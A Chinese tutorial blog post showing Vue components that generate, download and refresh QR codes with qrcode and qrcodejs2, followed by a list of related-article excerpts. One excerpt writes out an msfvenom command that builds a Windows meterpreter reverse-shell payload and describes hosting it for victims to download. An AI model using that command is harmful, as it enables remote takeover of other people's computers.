qrcode和qrcodejs2生成二维码+刷新

news2024/10/7 12:03:05

1、使用qrcode生产二维码,封装组件
在这里插入图片描述

创建Qrcode.vue文件

<template>
  <div
    class="QRCode"
    :style="{ width: width, height: height }"
  >
    <canvas
      :id="canvasId"
      ref="canvas"
      :style="{ width: width, height: height }"
    ></canvas>
  </div>
</template>
  <script>
import QRCode from "qrcode";
export default {
  name: "QRCode",
  props: {
    content: {
      type: String,
      default: "测试二维码",
    },
    width: {
      type: String,
      default: "100",
    },
    height: {
      type: String,
      default: "100",
    },
    codeName: {
      type: String,
      default: "二维码",
    },
    load: {
      type: Boolean,
      default: true,
    },
    view: {
      type: Boolean,
      default: true,
    },
  },
  data() {
    return {
      canvasId: "",
    };
  },
  computed: {},
  created() {
    this.canvasId = this.getUUID();
    this.$nextTick(() => {
      this.init();
    });
  },
  mounted: function () {},
  methods: {
    // handlePrintText() {
    //   this.$print(this.$refs.print)
    // },
    // // 打印二维码
    // getPrinting() {
    //   let employeeName = "溯源信息";
    //   let printContent = ''
    //   document.getElementById("qrcode").innerHTML = printContent;
    //   let new_str = document.getElementById("qrcode").innerHTML; //获取指定打印区域
    //   //构建新网页(关键步骤,必须先构建新网页,在生成二维码,否则不能显示二维码)
    //   document.body.innerHTML = new_str;
    //   for (let j = 0; j < 1; j++) {
    //     document.getElementById("XQ").innerHTML = ""; //置空
    //     new QRCode(document.getElementById("XQ"), {
    //       text: "dfjkdjdfjak123456789",
    //       width: 250,
    //       height: 250,
    //       colorDark: "#000000",
    //       colorLight: "#ffffff",
    //     });
    //   }
    //   window.print(); //打印刚才新建的网页
    //   window.location.reload();
    //   return false;
    // },
    saveCode() {
      //下载二维码
      console.log("二维码", this.$refs.canvas);
      let base64Img = this.$refs.canvas.toDataURL("image/jpg");
      //创建下载标签,然后设置链接和图片名称
      let a = document.createElement("a");
      a.href = base64Img;
      a.download = "二维码" + Date.now();
      a.click();
      //销毁元素
      a.remove();
    },
    init() {
      let width = this.width,
        height = this.height;
      QRCode.toCanvas(document.getElementById(this.canvasId), this.content, {
        width,
        height,
        toSJISFunc: QRCode.toSJIS,
      });
    },
    getUUID() {
      let d = new Date().getTime();
      let uuid = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(
        /[xy]/g,
        function (c) {
          let r = (d + Math.random() * 16) % 16 | 0;
          d = Math.floor(d / 16);
          return (c == "x" ? r : (r & 0x7) | 0x8).toString(16);
        }
      );
      return uuid;
    },
  },
  watch: {
    content() {
      this.init();
    },
  },
};
</script>
<style lang="scss" scoped>
.QRCode {
  display: inline-block;
  position: relative;
  overflow: hidden;

  .QQMode {
    position: absolute;
    left: 0;
    bottom: 100%;
    right: 0;
    height: 0;
    background-color: rgba(0, 0, 0, 0.45);
    transition: all 200ms ease-in-out;
    cursor: pointer;
    color: #fff;
    display: flex;
    justify-content: space-around;
    align-items: center;
    font-size: 20px;
    font-weight: bolder;
    box-sizing: border-box;
    padding: 10px;
  }
}

.QRCode:hover .QQMode {
  bottom: 0;
  height: 100%;
}
</style>

组件中使用

<template>
  <div class="home">
    <QRCode
      alt=""
      :content="'https://www.tbidea.com/webApp/new'"
      id="printTest"
      :width="'200'"
      :height="'200'"
    ></QRCode>
  </div>
</template>

<script>
import QRCode from "../components/Qrcode.vue";
export default {
  name: "Home",
  components: {
    QRCode,
  },
};
</script>

2、使用qrcodejs2点击生成二维码
在这里插入图片描述

<template>
  <div class="qrcode">
    <h1>点击生成签到二维码</h1>
    <button type="primary" class="line1" @click="makeQrcode"
      >点击生成签到二维码
    </button>
    <div class="Qrcode" ref="qrcode" @click="resetCode"></div>
  </div>
</template>
 

<script>
import Qrcode from "qrcodejs2";
export default {
  data() {
    return {
      qrcode: null,
    };
  },
  methods: {
    makeQrcode() {
      this.qrcode = new Qrcode(this.$refs.qrcode, {
        // text 需要转二维码的内容 可以是文本也可以是一个链接 是链接会直接跳走
        text: "http://www.baidu.com",
        width: 200,
        height: 200,
        colorDark: "#333", //二维码颜色
        colorLight: "#fff", //二维码背景颜色
        correctLevel: Qrcode.CorrectLevel.L, //容错率,L/M/H
      });
    },
    resetCode(){
      console.log(111);
      this.qrcode.clear()
      this.qrcode.makeCode("http://www.baidu.com");
    }
  },
  mounted() {},
};
</script>
 
<style scoped lang="scss">
.line1 {
  margin: 10px 0;
}
</style>
 

3、点击刷新二维码
在这里插入图片描述

<template>
  <div class="qrcode">
    <button @click="createQrCode">生成二维码</button>
    <div class="Qrcode" ref="qrcode" @click="resetCode"></div>
  </div>
</template>
 

<script>
import Qrcode from "qrcodejs2";
export default {
  data() {
    return {
      Qrcode: null,
    };
  },

  methods: {
    // 调用生成二维码,必须使用$nextTick
    createQrCode() {
      if (this.Qrcode){
        alert('已经生成二维码了')
        return
      };
      let time = new Date().getTime();
      this.Qrcode = new Qrcode(this.$refs.qrcode, {
        text: `http://www.baidu.com?spm=${time}`,
        width: 200,
        height: 200,
        colorDark: "#333",
        colorLight: "#fff",
        correctLevel: Qrcode.CorrectLevel.L,
      });
    },
    resetCode() {
      let time = new Date().getTime();
      // 清除二维码
      this.Qrcode.clear();
      //重新生产新的二维码
      this.Qrcode.makeCode(`http://www.baidu.com?spm=${time}`);
    },
  },
  mounted() {},
};
</script>
 
<style scoped lang="scss">
.line1 {
  margin: 10px 0;
}
</style>
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1710647.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

上海冠珠旗舰总店盛装开业暨冠珠瓷砖中国美学设计巡回圆满举办

上海&#xff0c;这座融合了东西方文化的国际化大都市&#xff0c;不仅是中国的时尚中心&#xff0c;也是全球潮流的汇聚地。在这里&#xff0c;古典与现代交织&#xff0c;传统与前卫并存&#xff0c;为传统色彩与现代设计的融合提供了得天独厚的条件。 5月25日&#xff0c;上…

分频器对相位噪声影响

本文我们将分析输入时钟被N分频之后的输出时钟的相位噪声如何变化。首先理想分频器的意思是我们假设分频器不会引入附加相位噪声&#xff0c;并且输入和输出时钟之间没有延时。我们假设每一个输出边沿的位置都完美的与输入边沿相对齐&#xff0c;这样便于分析。由于每N个输入时…

简单3步,ERP、OA、CRM等客户端,安全远程访问服务端

如今&#xff0c;企业员工出差远程办公和分支机构的协同工作变得越来越普遍。然而&#xff0c;如何确保在不同地点的员工都能安全、便捷地访问公司内网的C/S&#xff08;Client/Server&#xff09;架构办公系统&#xff0c;是一个亟待解决的问题。 贝锐花生壳内网穿透服务提供…

Elasticsearch8.13.4版本的Docker启动关闭HTTPS

博主环境是&#xff1a; 开发环境&#xff1a;SpringbootElasticSearch客户端对应的starter 2.6.3版本 maven配置 <!-- ElasticSearch --><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-elas…

二叉树习题精讲-相同的树

相同的树 100. 相同的树 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/same-tree/description/ /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/ bool i…

MFC 发起 HTTP Post 请求 发送MES消息

文章目录 获取Token将获取的Token写入JSON文件 将测试参数发送到http首先将测试参数写入到TestData.JSON文件rapidjson 库需要将CString 进行类型转换才能使用&#xff0c;将CString 转换为const char* 发送JSON 参数到http中&#xff0c;并且获取返回结果写入TestFinish.JSON文…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

效率工作:一键为多种资产添加统一材质(小插件)

1.需求分析&#xff1a; 当导入一批资产&#xff0c;或者有同一批结构体需要添加相同材质时&#xff0c;单独为每个模型都添加材质费时费力&#xff0c;有没有什么办法&#xff0c;能同时为多个资产添加材质。 2.操作实现 1.在网上找到了一款插件&#xff0c;经过验证&#xf…

【数据结构与算法 经典例题】返回单链表的倒数第 k 个节点

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;数据结构与算法刷题系列&#xff08;C语言&#xff09; 期待您的关注 目录 一、问题描述 二、解题思路 方法一:计数器方式 方法…

计算机毕业设计hadoop+spark+hive物流大数据分析平台 物流预测系统 物流信息爬虫 物流大数据 机器学习 深度学习

流程&#xff1a; 1.Python爬虫采集物流数据等存入mysql和.csv文件&#xff1b; 2.使用pandasnumpy或者MapReduce对上面的数据集进行数据清洗生成最终上传到hdfs&#xff1b; 3.使用hive数据仓库完成建库建表导入.csv数据集&#xff1b; 4.使用hive之hive_sql进行离线计算&…

(四十八)第 7 章 图(图的数组(邻接矩阵)存储)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrch…

Android项目实战 —— 手把手教你实现一款本地音乐播放器Dora Music

今天带大家实现一款基于Dora SDK的Android本地音乐播放器app&#xff0c;本项目也作为Dora SDK的实践项目或使用教程。使用到开源库有[https://github.com/dora4/dora] 、[https://github.com/dora4/dcache-android] 等。先声明一点&#xff0c;本项目主要作为框架的使用教程&a…

深入探究Java自动拆箱与装箱的实现原理

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…

浙江大学数据结构MOOC-课后习题-第九讲-排序2 Insert or Merge

题目汇总 浙江大学数据结构MOOC-课后习题-拼题A-代码分享-2024 题目描述 测试点 思路分析 刚开始我打算想推出一个规律&#xff0c;来判断是否是归并排序&#xff0c;但实在太过于复杂&#xff0c;我很难去想出这样的规律…因此&#xff0c;参考了其他博主的思路——每做一次排…

AI菜鸟向前飞 — LangChain系列之十五 - Agent系列:从现象看机制(中篇)一个Agent的“旅行”

Agent基本架构 先谈谈Agent基本架构概念&#xff0c;如果看得云里雾里&#xff0c;等看完本篇之后&#xff0c;再回头看就会豁然开朗的&#xff0c;而我尽量写得更易懂&#xff1a; &#xff09; 这里面会穿插着上一篇的内容&#xff0c;请大家记得往回翻翻&#xff0c;传送门&…

Vue.js中如何实现以列表首列为表头

前言 一般情况table列表的展示&#xff0c;列头都在第一横行&#xff0c;此方法用于列头在第一列的情况。 效果图 核心代码 <template><div><table class"data-table"><tr v-for"(column, columnIndex) in columns" :key"col…

maven部署到私服

方法一:网页上传 1、账号登录 用户名/密码 2、地址 http://自己的ip:自己的端口/nexus 3、查看Repositories列表&#xff0c;选择Public Repositories&#xff0c;确定待上传jar包不在私服中 4、选择3rd party仓库&#xff0c;点击Artifact Upload页签 5、GAV Definition选…

MagicPose4D:解锁AI驱动的3D模型动作新纪元

在当今快速发展的数字内容创作领域,MagicPose4D正以其革命性的技术颠覆传统动画制作流程,成为创作者手中的魔法棒。这款先进的框架不仅仅是一款工具,更是通往无限创意的一扇门,它使得为3D模型赋予生动、自然的动作变得前所未有的简单和高效。下面,让我们深入探索MagicPose…

STM32高级控制定时器(STM32F103):检测输入PWM周期和占空比

目录 概述 1 PWM 输入模式 1.1 原理介绍 1.2 应用实例 1.3 示例时序图 2 使用STM32Cube配置工程 2.1 软件环境 2.2 配置参数 2.3 生成项目文件 3 功能实现 3.1 PWM占空比函数 3.2 输入捕捉回调函数 4 功能测试 4.1 测试软件框架结构 4.2 实验实现 4.2.1 测试实…

Redis介绍及安装配置

1 什么是Redis Redis 的定义&#xff1a;Redis&#xff08;Remote Dictionary Server 远程字典服务&#xff09;是一个开源的使用C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库&#xff0c;并提供多种语言的API。 可见Redis和我们最经常使用的MySQL都…